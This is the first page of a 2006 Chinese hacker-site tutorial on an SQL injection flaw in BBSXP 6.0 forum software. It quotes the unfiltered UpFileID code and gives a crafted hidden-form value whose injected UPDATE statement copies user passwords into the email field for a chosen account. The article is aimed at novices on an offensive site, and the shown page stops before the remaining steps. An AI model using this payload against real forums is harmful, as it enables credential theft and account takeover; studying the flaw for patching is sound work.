黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]主题:狙击 bbsxp 6.0 全版本
      ★★★★★

主题:狙击 bbsxp 6.0 全版本

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-3-19 9:22:29

应用对象:BBSXP 6.0 SQL SP1  作者 怪狗  来源:华夏黑客同盟论坛

现在我比较忙,闲的时候呢!看看书,发现bbsxp 6.0漏洞,感觉不错.写篇文章给新手参考!希望能从中学到东西.

首先,这个漏洞是一个注入点.说说漏洞是如何发现的.
漏洞发现:

    打开源文件找到EditPost.asp的第67-72行,NewTopice.asp的第129-134行,ReTopic.asp的第78-83行会发现以下代码:

   if Request.Form("UpFlieID")<>"" then
              UpFileID=split(Request.form("UpFileID"),",")
              for i=0 to ubound(UpFileID)-1
                   Conn.execute("update [BBSXP_PostAttachments]
   set ThreadID="& ThreadID&",Description='"&Subject&"' where
   id ="&UpFileID(i)& " and ThreadID =0")
                             next
     end if

其实这几行代码很简单,为了新手能看明白,我罗列了一些相关知识点:
split函数的使用:
For Example:
  <%
   public namearray
    qname="Wang;Zhang;Ning"
   response.write qname & "<p><br>"
      namearray=split(qname,";") \'把qname字符串以分号分开,然后赋给一个数组
      max=ubound(namearray)
      for counter=0 to max-1
      response.write namearray(counter) & "<p><br>"
      next
      response.write "<hr>"
  %>


ubound 函数的使用:
返回一个 Long 型数据,其值为指定的数组维可用的最大下标。

语法
UBound(arrayname[, dimension])
UBound 函数的语法包含下面部分:
部分 描述
arrayname 必需的。数组变量的名称,遵循标准变量命名约定。
dimension 可选的;Variant (Long)。指定返回哪一维的上界。1 表示第一维,2 表示第二维,如此等等。如果省略 dimension,就认为是 1。

示例
该示例使用 UBound 函数,确定数组的指定维的最大可用下标。

Dim Upper
Dim MyArray(1 To 10, 5 To 15, 10 To 20)   '声明数组变量。
Dim AnyArray(10)
Upper = UBound(MyArray, 1)   '返回 10。
Upper = UBound(MyArray, 3)   '返回 20。
Upper = UBound(AnyArray)   '返回 10


    我们可以看到在这段代码中没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中了。我们以EditPost.asp这个页面为例来说明

。这个页面的功能是编辑帖子的。我们可以随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一个脚本:
  
    <form name ="77169.comform" method ="post" onSubmit = "returnCheckForm(this);">
    <input name ="content" type ="hidden" value ='123&It;imgborder=0 src=UpFile/UpAttachment/20063125678.gif>'>
    <input name="UpFileID" type="hidden">
    其中UpFileID是用来记录这个帖子中已经上传的文件路径的消息,并且用逗号分隔。

漏洞的利用:
     从代码上看,已经明白了由于upfileid 没有过滤,所以才有这个漏洞.UPfileID 是可以编辑贴子的时候.我们可以修改这个变量.
从一般的注入漏洞的发现,基本步骤都,
一,发现没过滤的变量.
二,寻找变量的修改方法.
如果有一个变量没有过滤,但是我们不能修改他,这就不能称为注入点.

下面我们来寻找变量的修改方法!

    在ASP代码中有一句话 for i =0 to ubound(UpFilID)-1,如果直接在页面中把UpFileID的值修改成一个注入查询语句
<inputname="UpFileID" type="hidden" value="' updateBBSXP_Users set UserMail=UserPass where UserName='77169.com'-->,
这样是不会被执行的,

因为这样的话ubound(UpFleID)-1的值始终为0,而不会被循环。

所以要使数组UpFileID的元素个数大于一才可以,
因此要将这段脚本修改成类似于如下代码:

<input name="UpFileID" type="hidden" value="'update BBSXP_Users set UserMail=UserPass where UserName='77169.com'--,0">,

我们用 , 号来分隔一下.就能满足for 循环.

[1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886